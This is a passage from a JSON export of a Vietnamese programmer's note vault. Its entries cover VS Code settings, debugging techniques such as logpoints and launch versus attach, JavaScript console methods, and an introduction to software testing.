"Tiêu đề": "Plugin hay cho người mới", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Plugin hay cho người mới", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "VS Code\r\n- [Clean Code Tips - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=chriswingler.clean-code-tips \"Clean Code Tips - Visual Studio Marketplace\")\r\n- [VSCode Extension | Total TypeScript](https://www.totaltypescript.com/vscode-extension \"VSCode Extension | Total TypeScript\")", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VS" + }, + { + "Tiêu đề": "setting.json giúp tuỳ chỉnh thiết lập theo ý mình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/setting.json giúp tuỳ chỉnh thiết lập theo ý mình", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```json\r\n{\r\n \"yaml.schemas\": {\r\n },\r\n \"deno.enable\": true,\r\n \"deno.lint\": true,\r\n \"editor.formatOnSave\": true,\r\n \"deno.config\": \"./deno.json\",\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\",\r\n \"[typescriptreact]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[typescript]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[javascriptreact]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[javascript]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[markdown]\": {\r\n \"editor.formatOnSave\": false\r\n }\r\n }\r\n```\r\nNguồn:: [Visual Studio Code User and Workspace Settings](https://code.visualstudio.com/docs/getstarted/settings)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VT" + }, + { + "Tiêu đề": "Video hướng dẫn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Video hướng dẫn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[Visual Studio Code Introductory Videos](https://code.visualstudio.com/docs/getstarted/introvideos)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VU" + }, + { + "Tiêu đề": "VS Code chỉ là code editor, không phải IDE", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/VS Code chỉ là code editor, không phải IDE", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "An IDE is often just aimed at a few specific compiled languages: there's a bunch of Java IDEs and we have VisualStudio for C# and VB and F#. \r\n\r\nIn ancient times we picked between a simple text editor or an IDE. But since the rise of advanced editors like vsCode the distinction has become sort of irrelevant. During the installation of Visual Studio maybe you can pick which plugins you want - you can do the same for vsCode - and just pick to install all C# tools that allow you to compile and debug C#. The difference is at most that the tools for Visual Studio are slightly more \"built in\" and better.\r\n\r\nFor some languages that aren't compiled or debugged in an editor there have never been any IDE. For example there by definition is no IDE for clientside Javascript - as that is not compiled. And not executed without a browser.\r\n\r\nNguồn:: [Why is VS Code considered as a code editor and not an IDE ? : r/vscode](https://www.reddit.com/r/vscode/comments/1c2akco/comment/kz91o70/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VV" + }, + { + "Tiêu đề": "VS Code nhiều khi không tìm hết file được do tên quá dài", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/VS Code nhiều khi không tìm hết file được do tên quá dài", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VW" + }, + { + "Tiêu đề": "Đường dẫn trong launch.json là cwd", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Đường dẫn trong launch.json là cwd", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)]]\r\n\r\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VX" + }, + { + "Tiêu đề": "Debugger", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://vntalking.cdn.vccloud.vn/wp-content/uploads/2021/01/debug-console-visual-code.png) \r\n\r\n![CS50P - Debugging - YouTube](https://youtu.be/2hsn7AxXKmg)\r\n[[Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn]]\r\n\r\n![VS Code tips — Debugging Jupyter notebooks - YouTube](https://youtu.be/CY6uZIoF_kQ)\r\n![How to configure VS Code to debug JavaScript Node.js apps [23 of 26] | Node.js for Beginners - YouTube](https://youtu.be/llPW0b1dQms)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VY" + }, + { + "Tiêu đề": "Dùng logpoint thay cho console.log() khi debug", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Dùng logpoint thay cho console.log() khi debug", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://code.visualstudio.com/assets/docs/editor/debugging/log-points.gif) \r\nNguồn:: [VSCode Log Points //Stop using console.log #shorts - YouTube](https://youtube.com/shorts/7g7ftm2v71Y?feature=share)\r\n[[Không cần viết hàm quản lý debug khi đã có logpoint]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VZ" + }, + { + "Tiêu đề": "Không cần viết hàm quản lý debug khi đã có logpoint", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Không cần viết hàm quản lý debug khi đã có logpoint", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```\r\nfunction debug(on, vịTrí, ...biến) {\r\n if (on !== \"on\") {return}\r\n\r\n //Trong dánNhãn(), trước khi test regex\r\n if (vịTrí === 1) return console.log('Ở ngoài test:', biến)\r\n\r\n //Trong dánNhãn(), sau khi test regex thành công\r\n if (vịTrí === 2) return console.log('Vào trong test:', biến)\r\n \r\n //Trong tạoDanhSáchTừVàNhãnTừCâuNhập() \r\n if (vịTrí === 3) return console.log('vậtThểTừCâuNhập[i][0]:', biến)\r\n\r\n if (vịTrí === 4) return console.log('PTTTThựcSự:', biến)\r\n}\r\n```\r\n# Ưu\r\n- Có thể định nghĩa những bộ nhiều console.log() khác nhau cho cùng một bug. Mỗi bug khác nhau sẽ có một bộ khác nhau. Có thể tắt mở tất cả chúng cùng lúc\r\n- Bấm `F12` để di chuyển đến nơi xuất hiện hàm debug khác\r\n- Có thể tắt ở cả trong hàm lẫn ở vị trí\r\n- Lúc này nếu cần console.log() thì có thể xoá nhanh chóng\r\n# Nhược\r\n- Chưa biết khác gì với console.log()\r\n- Khi debug bấm vào link thì nhảy ra hàm debug chứ không ra chỗ console.log\r\n- Tại vị trí debug cũng không hiểu nó ra kết quả gì\r\n\t- Nếu đã thay đổi biến thì cũng không biết hàm debug đã mất tác dùng\r\n\r\n# So sánh với debugger\r\n- Nếu thay đổi số biến thì cũng mất công theo dõi\r\n- Không thấy được mối tương quan với các biến khác\r\n- Có dòng debug thì cũng có thể hơi khó chịu \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Va" + }, + { + "Tiêu đề": "Launch vs attach", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Launch vs attach", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khởi chạy so với đính kèm cấu hình\r\n\r\nTrong Mã VS, có hai chế độ gỡ lỗi cốt lõi, Khởi chạy và Đính kèm, xử lý hai quy trình công việc và phân đoạn khác nhau của nhà phát triển. Tùy thuộc vào quy trình làm việc của bạn, có thể gây nhầm lẫn khi biết loại cấu hình nào phù hợp với dự án của bạn.\r\n\r\nNếu bạn đến từ nền tảng Công cụ dành cho nhà phát triển của trình duyệt, bạn có thể không quen với việc \"khởi chạy từ công cụ của mình\" vì phiên bản trình duyệt của bạn đã được mở. Khi bạn mở DevTools, bạn chỉ cần đính kèm DevTools vào tab trình duyệt đang mở của mình. Mặt khác, nếu bạn đến từ nền máy chủ hoặc màn hình nền, thì việc trình chỉnh sửa của bạn khởi chạy quy trình cho bạn là điều khá bình thường và trình chỉnh sửa của bạn sẽ tự động đính kèm trình gỡ lỗi của nó vào quy trình mới được khởi chạy.\r\n\r\nCách tốt nhất để giải thích sự khác biệt giữa khởi chạy và đính kèm là coi cấu hình khởi chạy như một công thức về cách khởi động ứng dụng của bạn ở chế độ gỡ lỗi trước khi Mã VS gắn vào nó, trong khi cấu hình đính kèm là công thức về cách kết nối Mã VS trình gỡ lỗi cho ứng dụng hoặc quy trình đang chạy.\r\n\r\nTrình gỡ lỗi VS Code thường hỗ trợ khởi chạy chương trình ở chế độ gỡ lỗi hoặc đính kèm vào chương trình đã chạy ở chế độ gỡ lỗi. Tùy thuộc vào yêu cầu (đính kèm hoặc khởi chạy), các thuộc tính khác nhau được yêu cầu và các đề xuất và xác thực launch.json của VS Code sẽ giúp ích cho việc đó.\r\nThêm cấu hình mới\r\n### [Launch versus attach configurations](https://code.visualstudio.com/docs/editor/debugging#_launch-versus-attach-configurations)\r\n\r\nIn VS Code, there are two core debugging modes, **Launch** and **Attach**, which handle two different workflows and segments of developers. Depending on your workflow, it can be confusing to know what type of configuration is appropriate for your project.\r\n\r\nIf you come from a browser Developer Tools background, you might not be used to \"launching from your tool,\" since your browser instance is already open. When you open DevTools, you are simply **attaching** DevTools to your open browser tab. On the other hand, if you come from a server or desktop background, it's quite normal to have your editor **launch** your process for you, and your editor automatically attaches its debugger to the newly launched process.\r\n\r\nThe best way to explain the difference between **launch** and **attach** is to think of a **launch** configuration as a recipe for how to start your app in debug mode **before** VS Code attaches to it, while an **attach** configuration is a recipe for how to connect VS Code's debugger to an app or process that's **already** running.\r\n\r\nVS Code debuggers typically support launching a program in debug mode or attaching to an already running program in debug mode. Depending on the request (`attach` or `launch`), different attributes are required, and VS Code's `launch.json` validation and suggestions should help with that.\r\n\r\n### [Add a new configurati](https://code.visualstudio.com/docs/editor/debugging#_add-a-new-configuration)\r\n\r\nNguồn:: [Debugging in Visual Studio Code](https://code.visualstudio.com/docs/editor/debugging#_launch-configurations)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vb" + }, + { + "Tiêu đề": "Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| Debugger | Unit test |\r\n| --------------------------- | ------------------------------------ |\r\n| Mất đi sau khi bug được sửa | Được giữ lại sau khi bug đã được sửa |\r\n| | |\r\n\r\nNguồn:: [Differences between Testing and Debugging - GeeksforGeeks](https://www.geeksforgeeks.org/differences-between-testing-and-debugging/) [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [debugging - When to use debug vs unit tests? - Stack Overflow](https://stackoverflow.com/q/3846198/3416774)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vc" + }, + { + "Tiêu đề": "Dễ xem kết quả các giá trị trong console debug hơn là ở Variables", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Dễ xem kết quả các giá trị trong console debug hơn là ở Variables", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[Dùng logpoint thay cho console.log() khi debug]] [[Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-26T12:20:00.000Z", + "id": "Vd" + }, + { + "Tiêu đề": "console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ không phải vào lúc lệnh được thực thi", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ không phải vào lúc lệnh được thực thi", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "As you can see below, even though the array is logged before the mutating method is applied, the debugger still shows it as already being applied. However, its elements and properties when called specifically still return correctly:\r\n\r\n![](https://i.imgur.com/SjzA0DP.png)\r\n\r\nIf I add a breakpoint before the methods, then it is correct. If I continue then the result doesn't change.\r\n\r\n![](https://i.imgur.com/AuWkA4C.png)\r\n\r\n\r\n```js\r\nconst array = [\"cat\",\"dog\",\"mouse\"]\r\nconsole.log('array', array);\r\nconsole.log('array[0] :>> ', array[0]);\r\nconsole.log('array.length :>> ', array.length);\r\n\r\narray.splice(0, 1)\r\n// array.push('bat')\r\ndebugger\r\n```\r\n\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [console.log() async or sync?](https://stackoverflow.com/q/23392111/3416774), [console.log() shows the changed value of a variable before the value actually changes](https://stackoverflow.com/q/11284663/3416774)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ve" + }, + { + "Tiêu đề": "Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://youtu.be/L8CDt1J3DAw?si=tTCg8pJhTfUEPvLt) \nMột trong những cách đơn giản nhất để debug Javascript code đó chính là hiện ra kết quả qua câu lệnh `console.log`. Mặc dù nó vẫn hoạt động, tuy nhiên đó không phải là cách tối ưu cho mọi việc. Trong bài viết này mình sẽ giới thiệu với các bạn những chức năng khác mà console javascript có thể làm được\n\n## `console.log()`\n\nĐây là hàm mà ai cũng đã biết. Tuy nhiên ít người để ý đến tham số dùng trong nó. Đoạn text trong `console.log` có thể được thay thế theo form sau:\n\n| Cú pháp | Ý nghĩa |\n| ------- | ------------------ |\n| %o / %O | Thay thế object |\n| %d / %i | Thay thế số nguyên |\n| %s | Thay thế chuỗi |\n| %f | Thay thế số thực |\n| %c | Thay đổi style |\n\nMột số ví dụ:\n\n```js\nconsole.log('Hello %o',{name:'Nguyen Tuan Quang', department:'blockchain'},'!' );\n```\n\nKết quả:\n\n![](https://images.viblo.asia/5f738857-c941-44ad-b54e-fb76f396b5fa.png)\n\nTương tự với `%d`,`%s`,`%f`. Với `%c` thì hơi đặc biệt hơn khi ta có thể chèn thêm css vào đây:\n\n```js\nlet css = \"text-shadow: -1px -1px hsl(0,100%,50%),1px 1px hsl(27, 100%, 50%),3px 2px hsl(54, 100%, 50%),5px 3px hsl(81, 100%, 50%),7px 4px hsl(135, 100%, 50%),9px 5px hsl(162, 100%, 50%),11px 6px hsl(189, 100%, 50%),13px 7px hsl(243, 100%, 50%),14px 8px hsl(270, 100%, 50%),16px 9px hsl(297, 100%, 50%); font-size: 40px;\";\nconsole.log(\"%c Style: Sun*\", css)\n```\n\n![](https://images.viblo.asia/64232eba-b07d-4bcf-b602-c73a136a9d44.png)\n\n```js\nconsole.log(\n \"Multiple styles: %cred %corange\",\n \"color: red\",\n \"color: orange\",\n \"Additional unformatted message\",\n);\n```\n## `console.count`\n\nHàm `console.count( [label] );` trả về số lần được gọi với label. Nếu không có tham số sẽ mặc định trả về số lần được gọi với label default. Điều này giúp ta đếm số lần gọi function. Ví dụ:\n\n```js\nlet user = \"\";\n\nfunction greet() {\n console.count();\n return \"hi \" + user;\n}\n\nuser = \"bob\";\ngreet();\nuser = \"alice\";\ngreet();\ngreet();\nconsole.count();\n```\n\n![](https://images.viblo.asia/cd6677a7-3ff2-441a-8a45-b521d66dff93.png)\n\nNếu truyền tham số vào hàm `count()` sẽ trả về số lần gọi function với label đã truyền vào. Ví dụ:\n\n```js\nfunction sayHello(name) {\n console.count(name)\n}\n\nsayHello(\"Nguyen\")\nsayHello(\"Tuan\")\nsayHello(\"Quang\")\nsayHello(\"Quang\")\n```\n\nKết quả trả về như sau:\n\n![](https://images.viblo.asia/8d808873-8cc6-4d38-a34c-4b3bb414863f.png)\n\n## `console.table()`\n\nHàm này cực kì hữu ích khi làm việc với array, object hoặc dữ liệu Json. Mỗi một phần tử tương ứng với 1 hàng trong table. Cùng xem qua ví dụ sau:\n\n```js\nconst fruits = [\"kiwi\", \"banana\", \"strawberry\"]\n\nconsole.table(fruits)\n```\n\nKết quả trả về dưới dạng table rất dễ nhìn, không còn trông ác mộng giống như dùng `console.log` nữa:\n\n![](https://images.viblo.asia/31a8867a-377d-4b0b-b956-e9199bb19139.png)\n\nTương tự với object. Nhưng index trong bảng sẽ là `key` trong object\n\n![](https://images.viblo.asia/20ce9bad-9146-480b-9f8b-b05bfe2345b5.png) Nếu muốn gộp 2 hoặc nhiều object trong cùng 1 bảng thì đưa chúng vào trong array. Kết quả trả về như sau:\n\n```js\nconst pets = {\n name: \"Simon\",\n type: \"cat\"\n};\n\nconst person = {\n firstName: \"Indrek\",\n lastName: \"Lasn\"\n}\n\nconsole.table([pets, person]);\n```\n\n![](https://images.viblo.asia/a099dac9-25ca-49f2-b801-28b66e406cfe.png)\n\n## `console.group()`\n\nHàm này đơn giản chỉ để nhóm các câu lệnh console với nhau. Dùng khi làm việc với `sets` hoặc `linked-data` giúp dữ liệu hiện ra dễ nhìn hơn.\n\n```js\nconsole.log(\"This is the first level\");\nconsole.group();\nconsole.log(\"Level 2\");\nconsole.group();\nconsole.log(\"Level 3\");\nconsole.warn(\"More of level 3\");\nconsole.groupEnd();\nconsole.log(\"Back to level 2\");\nconsole.groupEnd();\nconsole.log(\"Back to the first level\");\n```\n\n![](https://images.viblo.asia/0d2422d6-5229-4833-931e-ea01bbc9b915.png)\n\n## `console.time, console.timeLog, console.timeEnd`\n\n`console.time(label)` với tham số là tên của bộ đếm thời gian, có thể chạy đồng thời 10.000 bộ đếm trong cùng 1 trang. Hàm `console.timeEnd(label)` để dừng bộ đếm giờ với tham số đã khởi tạo bằng `console.time`. Trong khi đó `console.timeLog(label)` trả về thời gian hiện tại kể từ khi bắt đầu bằng `console.time`. Bộ ba hàm trên rất hữu hiệu khi kiểm tra thời gian chạy của câu lệnh trong javascript. Cùng xem qua ví dụ sau:\n\n```js\nconsole.time('total');\nconsole.time('init arr');\nconst arr = new Array(5);\nconsole.timeEnd('init arr');\n\nfor (let i=0; i <arr.length ; i++){\n arr[i] = new Object();\n const _type = (i%2 ===0)? 'even' : 'odd'\n console.count(_type + ' added' );\n}\nconsole.timeEnd('total');\n```\n\nKết quả:\n\n![](https://images.viblo.asia/ed89cb10-7f22-490b-ad5b-929ca2bcb5be.png)\n\n## Kết luận\n\nSau bài viết này hi vọng các ban biết thêm về sức mạnh của `console` trong javascript cũng như giúp ích được trong project của các bạn. Hẹn gặp lại mọi người trong bài viết sau.\n\n## Source\n\n[https://developer.mozilla.org/en-US/docs/Web/API/Console/timeLog](https://developer.mozilla.org/en-US/docs/Web/API/Console/timeLog) [https://www.freecodecamp.org/news/how-you-can-improve-your-workflow-using-the-javascript-console-bdd7823a9472/](https://www.freecodecamp.org/news/how-you-can-improve-your-workflow-using-the-javascript-console-bdd7823a9472/) [https://medium.com/better-programming/boost-your-javascript-debugging-skills-with-these-console-tricks-ab984c70298a](https://medium.com/better-programming/boost-your-javascript-debugging-skills-with-these-console-tricks-ab984c70298a)\nNguồn:: [Nâng cao kỹ năng debug trong Javascript bằng Console](https://viblo.asia/p/nang-cao-ky-nang-debug-trong-javascript-bang-console-3P0lPEEp5ox)\n\n\nI) Insert meaningful log message automatically\n\nTwo steps:\n\n- Selecting or hovering the variable which is the subject of the debugging (Manual selection will always take over the hover selection)\n \n- Pressing ctrl + alt + L (Windows) or ctrl + option + L (Mac)\n \n\nThe log message will be inserted in the next line relative to the selected variable like this:\n\nconsole.log(\"SelectedVariableEnclosingClassName -> SelectedVariableEnclosingFunctionName -> SelectedVariable\", SelectedVariable)\n\n![alt text](https://image.ibb.co/dysw7p/insert_log_message.gif)\n\nMultiple cursor support:\n\n![alt text](https://i.ibb.co/Jk2pmRG/tcl-multiple-selections.gif \"Multiple cursor support\")\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-26T12:20:00.000Z", + "id": "Vf" + }, + { + "Tiêu đề": "Tổng quan về log", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Log/Tổng quan về log", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[Logging – Mắt thần của bạn trên hệ thống thực - NTechDevelopers](https://blog.ntechdevelopers.com/logging-mat-than-cua-ban-tren-he-thong-thuc/ \"Logging – Mắt thần của bạn trên hệ thống thực - NTechDevelopers\")", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vg" + }, + { + "Tiêu đề": "Debug", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Debug trực tiếp ngay trên script\r\n1. Dùng console.log\r\n3. Dùng try...catch\r\n4. Dùng throw\r\n\r\n# Dùng debugger\r\n1. Dùng breakpoint\r\n2. Dùng Variable và Watch \r\n3. Dùng debug console\r\n4. Dùng logpoint\r\n5. Dùng REPL\r\n\r\n![Future of JavaScript Debugging: Dbux and Dynamic Program Analysis | Dominik Seifert - YouTube](https://youtu.be/LhM01DL9dLc?si=WLP8AzM_nA_d8FCk)\r\n# Dùng unit test\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vh" + }, + { + "Tiêu đề": "Lý do thấy test trước bất tiện", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Lý do thấy test trước bất tiện", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Mỗi lần refactor thì dữ liệu mẫu cũng phải chỉnh lại\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Vi" + }, + { + "Tiêu đề": "Tổng quan về kiểm thử phần mềm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Tổng quan về kiểm thử phần mềm", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![image.png](https://images.viblo.asia/0ebf1f5d-a226-49df-93b3-d99465783033.png)\r\n\r\nMình là TUẤN hiện đang là một Full-stack Developer tại Tokyo 😉. Nếu bạn thấy Blog này hay xin hãy cho mình một like và đăng ký để ủng hộ mình nhé 😊.\r\n\r\nTrong bài viết này, mình sẽ nói về Test. Và sẽ cung cấp cho bạn một cái nhìn tổng quan tốt về Test là gì và giới thiệu về cách bạn có thể triển khai nó trên các dự án JavaScript của mình. Ae sẽ sử dụng bốn công cụ rất phổ biến - Jest, Testing Library, Cypress và Supertest.\r\n\r\nĐầu tiên khi nói về Test là gì, tại sao nên Test và các loại Test khác nhau có thể được thực hiện.\r\n\r\nSau đó, mình sẽ giới thiệu từng công cụ mà bạn sẽ sử dụng và cuối cùng sẽ đưa ra các ví dụ thực tế cho code VaniJS (JS thuần), ứng dụng React front-end và ứng dụng Node back-end.\r\n\r\nGÉT GÔ!🤪\r\n\r\n## Mục lục\r\n\r\n- [Test là gì và tại sao nó có value](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-testing-and-why-is-it-valuable)\r\n- [Các loại Test khác nhau](https://viblo.asia/posts/5pPLkG2GLRZ/edit#different-types-of-tests)\r\n - [Test thủ công và tự động](https://viblo.asia/posts/5pPLkG2GLRZ/edit#manual-vs-automated-testing)\r\n - [Test chức năng so với phi chức năng](https://viblo.asia/posts/5pPLkG2GLRZ/edit#functional-vs-non-functional-testing)\r\n - [Unit và Integration testing so với end to end testing (e2e)](https://viblo.asia/posts/5pPLkG2GLRZ/edit#unit-vs-integration-testing-vs-end-to-end-testing)\r\n - [Test hộp trắng so với hộp đen và hộp xám](https://viblo.asia/posts/5pPLkG2GLRZ/edit#white-box-vs-black-box-vs-grey-box-testing)\r\n- [Khi nào Test](https://viblo.asia/posts/5pPLkG2GLRZ/edit#when-to-test)\r\n- [Bộ công cụ](https://viblo.asia/posts/5pPLkG2GLRZ/edit#our-toolset)\r\n - [Jest là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-jest)\r\n - [Thư viện Test là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-testing-library)\r\n - [Cypress là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-cypress)\r\n - [Supertest là gì](https://viblo.asia/posts/5pPLkG2GLRZ/edit#what-is-supertest)\r\n - [Tools](https://viblo.asia/posts/5pPLkG2GLRZ/edit#tools-roundup)\r\n- [Cách Test code JS vani](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-vanilla-js-code)\r\n- [Cách Test ứng dụng React front-end với thư viện Test Jest và React](https://viblo.asia/posts/5pPLkG2GLRZ/edit#how-to-test-a-front-end-react-app-with-jest-and-react-testing-library)\r\n- [Cách Test ứng dụng React front-end với 